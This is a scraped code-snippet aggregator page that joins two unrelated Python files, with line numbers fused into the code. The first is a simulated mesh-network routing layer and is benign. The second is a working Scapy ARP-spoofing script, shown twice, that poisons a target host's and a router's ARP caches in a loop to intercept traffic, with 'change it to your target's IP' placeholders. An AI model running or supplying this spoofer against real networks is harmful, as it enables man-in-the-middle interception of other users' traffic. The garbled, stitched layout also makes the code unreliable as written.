Best Python code snippet using lisa_python
network.py
Source:network.py
...30 print("* Creating a package in network_layer *")31 print('* '*20, '\n')3233 #new package with the message34 pck = package(Network_layer._id_pck,'DATA',message,self.host.get_mac(),destination)35 logging.info(f' Created a DATA package from host[{self.host.get_mac()}] to host[{destination}]')36 37 pck.package_info() # prints the package information38 Network_layer._id_pck += 1 # update the id3940 # checks if the destination is my neighbor41 nb = self.host.get_neighbors()42 var = False43 for obj in nb:44 if destination == obj.get_mac():45 var = True46 break 4748 # destination is a host's neighbor49 if var:50 logging.info(f' Host{destination} is my neighbor, so I can send')51 self.host.link.sending_request(pck)5253 # if is not my neighbor, then check if I have a way to him54 if self.table.get_route() != {}:55 print("\033[36m\t\tL3: I HAVE A ROUTE TABLE, BUT I DO NOT KNOW IF I HAVE DESTINY ON IT \033[37m")56 # set the next jump57 next_jp = self.table.next_jump(destination, self.host)58 59 if next_jp:60 logging.info(f' I(host{self.host.get_mac()}) can get into the destination')61 logging.info(f' And the next jump is to host[{next_jp}]')62 pck.add_path(self.host)63 pck.add_next(next_jp)64 self.host.link.sending_request(pck)65 66 # if the host can't get into the destination, then it make a RREQ67 else :68 print(f"\033[36m +++++++++ L3: HOST{self.host.get_mac()} HAS NO ROUTE TO {destination}\033[37m")69 logging.info(f' I am host[{self.host.get_mac()}] and do not have a route for {destination} yet')70 self.create_RREQ_pck(pck)71 7273 # create a REQUEST pck and send to link_layer74 def create_RREQ_pck(self,pck):75 self.pending_pck.append(pck) # save the package to send later76 77 pck_RREQ = package(Network_layer._id_pck,'RREQ',"I am a RREQ",self.host.get_mac(),pck.get_destination())78 Network_layer._id_pck += 179 # if the host makes this type of pck, is saves to a list, so it won't send again80 self.received_pck.append(pck_RREQ.get_id())81 82 # print for debugging83 print(f'\t\t\033[36m HOST[{self.host.get_mac()}] IS CREATING A RREQ TO {pck.get_destination()}\033[37m\n')84 print(f'\t\t\033[36m HOST[{self.host.get_mac()}] IS ADDING ITSELF TO THE PATH\033[37m\n')85 86 # log print87 logging.info(f' Host[{self.host.get_mac()}] created a RREQ pack to host[{pck.get_destination()}]')88 logging.info(f' I am adding myself to the path')8990 pck_RREQ.add_path(self.host) # adding itself on the path91 self.host.link.sending_request(pck_RREQ) # send a request to master92 9394 # create a REPLY pck and send to link_layer95 def create_RREP_pck(self,pck_RREQ):96 pck_RREP = package(Network_layer._id_pck,'RREP',"i am a RREP",self.host.get_mac(),pck_RREQ.get_originator())97 98 logging.info(f' I am host[{self.host.get_mac()}] and received a RREQ pack from host[{pck_RREQ.get_originator()}]')99 logging.info(f' Host[{self.host.get_mac()}] is sending a RREP to host[{pck_RREQ.get_originator()}]')100 101 print(f'\033[36m --- HOST[{self.host.get_mac()}] is sending a RREP to HOST[{pck_RREQ.get_originator()}] ---\033[37m')102 Network_layer._id_pck += 1103 104 # get the way back105 way_back = pck_RREQ.get_path()106 for way in way_back:107 # save the way that pck has being through108 pck_RREP.add_path(way)109 110 # saving route111 self.table.save_route(way_back, pck_RREQ.get_originator())112 way_back.reverse()113114 # The next jump is who sent to me115 next = way_back.pop(1)116 pck_RREP.add_next(next.get_mac())117 118 #than send to link layer119 self.host.link.sending_request(pck_RREP) 120121122 # Function to processe all packages received123 def receive_pck(self,pck):124 actual_mac = self.host.get_mac()125 126 if pck.get_type() == 'DATA': 127 # final point gets the package 128 if pck.get_destination() == self.host.get_mac():129 if self.add_received_pck(pck.get_id()):130 print('\033[33m *'*28)131 print(f'* I AM HOST[{self.host.get_mac()}] AND RECEIVED THE PACKAGE [{pck.get_contents()}] *')132 print(' *'*28, '\033[37m')133134 logging.info(f' **** Host[{actual_mac}] received a pack from host[{pck.get_originator()}], message is [{pck.get_contents()}] ****')135 else:136 pass137 #print for debugging138 print(f'\n\t \033[36m HOST[{actual_mac}] HAS PACK ? =======>{pck.get_next() == self.host.get_mac()} \033[37m')139 140 # the package is not for the actual host, it's on the path141 if (pck.get_destination() != self.host.get_mac() and pck.get_next() == self.host.get_mac()):142 print(f'\n \033[36m +++++ L3: HOST[{self.host.get_mac()}] RECIEVING A DATA PCK, BUT IS NOT MYNE -->[{pck.get_destination()}]\033[37m')143 logging.info(f'I am host[{actual_mac}] receiveing a data pack with id: {pck.get_id()}, but is not for me')144 145 if self.add_received_pck(pck.get_id()):146 path = pck.get_path()147 #print(f'THE PATH IS :{path}')148 # get the next jump149 next_jp = path.index(self.host)+1150 next_jp = path[next_jp]151 print(f'\033[36m NEXT POINT IS {next_jp.get_mac()}')152 pck.add_next(next_jp.get_mac())153154 #then send the package155 self.host.link.sending_request(pck)156 else:157 pass158 159160 if pck.get_type() == 'RREQ': # process request packages161 # if the request is for the actual host, then it must reply162 if pck.get_destination() == self.host.get_mac():163 if self.add_received_pck(pck.get_id()): # check if already have this pck 164 pck.add_path(self.host)# add itself in the path165 166 # creates a reply package 167 self.create_RREP_pck(pck)168 # make a function or an attribute to add this new route169 else:170 pass171 172 else: # the request is not for the actual host173 if self.add_received_pck(pck.get_id()):174 # ** verify the route table ** (still in progress)175 # if has no way, just make a broadcast176 logging.info(f' I am host[{actual_mac}] receiving a RREQ id:[{pck.get_id()}], but I am not the destination')177 logging.info(f' So I (host[{actual_mac}]) must make a broadcast sending to my nighbors')178179 pck.add_path(self.host)180 self.host.link.sending_request(pck)181 182 183 if pck.get_type() == 'RREP':184 # checks if the actual host is the destination and still doesn't have this package185 if pck.get_destination() == self.host.get_mac() and self.add_received_pck(pck.get_id()):186 print(f"\n\033[36m +++++++++ L3: HOST[{self.host.get_mac()}] MUST SEND THE DATA PACKAGE \033[37m")187 188 logging.info(f" I am host[{actual_mac}] and received a RREP from host[{pck.get_originator()}]")189 logging.info(f" So I(host[{actual_mac}]) must send the data pack!")190191 data_pck = self.pending_pck.pop(0) # remove the 1rs pck from remaining ones192 way_back = pck.get_path()193 194 # save the way that pck has being through195 for way in way_back:196 data_pck.add_path(way)197 print(f'\n\033[36m GOT MY REPLY AND THAT IS THE WAY =>{way.get_mac()}\033[37m')198 199 self.table.save_route(way_back, pck.get_originator()) # save into the host's route table200 #add next201 try:202 next_jump = way_back.index(self.host)+1 # check the position of actual host203 except Exception as e:204 # must find a way function205 print(e)206 207 print(f'MY DATA PACK PATH IS => {data_pck.get_path()}')208 next_jump = way_back[next_jump] #get the next jump209 logging.info(f' And the next jump is to host[{next_jump.get_mac()}]')210 data_pck.add_next(next_jump.get_mac())# add the next jump to the pck information211 #print(f'\nL3: NEXT POINT IS {next_jump.get_mac()}')212 213 #send data214 self.host.link.sending_request(data_pck)215 216217 # the actual host is the next jump and is getting this pck for the 1rs time218 elif pck.get_next() == self.host.get_mac() and self.add_received_pck(pck.get_id()):219 logging.info(f' I am host[{actual_mac}], received a DATA pack, but is not for me')220 logging.info(f" So I(host[{actual_mac}]) must send to next point")221 way_back = pck.get_path()222 223 try:224 next_jump = way_back.index(self.host)-1 # check the position of actual host225 except Exception as e:226 # ** must find a way function **227 print(e)228 229 next_jump = way_back[next_jump] #get the next jump230 logging.info(f' And the next jump is to host[{next_jump.get_mac()}]')231 pck.add_next(next_jump.get_mac())# add the next jump to the pck information
...
arpspoof.py
Source:arpspoof.py
1import scapy.all as scapy2import time3def get_mac(ip):4 arp_request = scapy.ARP(pdst=ip)5 broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")6 arp_broadcast = broadcast / arp_request7 answers_list = scapy.srp(arp_broadcast, timeout=1, verbose=False)[0]8 return answers_list[0][1].hwsrc9def spoof(target_ip, spoof_ip): # arp spoofing main10 target_mac = get_mac(target_ip)11 packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)12 scapy.send(packet)13def restore(dest_ip, source_ip): # restoring mac before closing(keyboard interrupt)14 dest_mac = get_mac(dest_ip)15 source_mac = get_mac(source_ip)16 packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac, psrc=source_ip, hwsrc=source_mac)17 scapy.send(packet, count=4, verbose=False)18router_ip = "192.168.1.1" # change it to your router IP19target_ip = "192.168.1.4" # change it to your target's IP20count = 021try:22 while True:23 spoof(target_ip, router_ip)24 spoof(router_ip, target_ip)25 count = count + 226 print("\r [X] Packet Sent " + str(count), end="")27 time.sleep(2)28except KeyboardInterrupt:29 print("\n {X} Quitting ARP Spoof and Restoring ARP")30 restore(target_ip, router_ip)31 restore(router_ip, target_ip)32 print("[X] Restoring Done")33import scapy.all as scapy34import time35def get_mac(ip):36 arp_request = scapy.ARP(pdst=ip)37 broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")38 arp_broadcast = broadcast / arp_request39 answers_list = scapy.srp(arp_broadcast, timeout=1, verbose=False)[0]40 return answers_list[0][1].hwsrc41def spoof(target_ip, spoof_ip): # arp spoofing main42 target_mac = get_mac(target_ip)43 packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)44 scapy.send(packet)45def restore(dest_ip, source_ip): # restoring mac before closing(keyboard interrupt)46 dest_mac = get_mac(dest_ip)47 source_mac = get_mac(source_ip)48 packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac, psrc=source_ip, hwsrc=source_mac)49 scapy.send(packet, count=4, verbose=False)50router_ip = "192.168.1.1" # change it to your router IP51target_ip = "192.168.1.15" # change it to your target's IP52count = 053try:54 while True:55 spoof(target_ip, router_ip)56 spoof(router_ip, target_ip)57 count = count + 258 print("\r [X] Packet Sent " + str(count), end="")59 time.sleep(2)60except KeyboardInterrupt:61 print("\n {X} Quitting ARP Spoof and Restoring ARP")...
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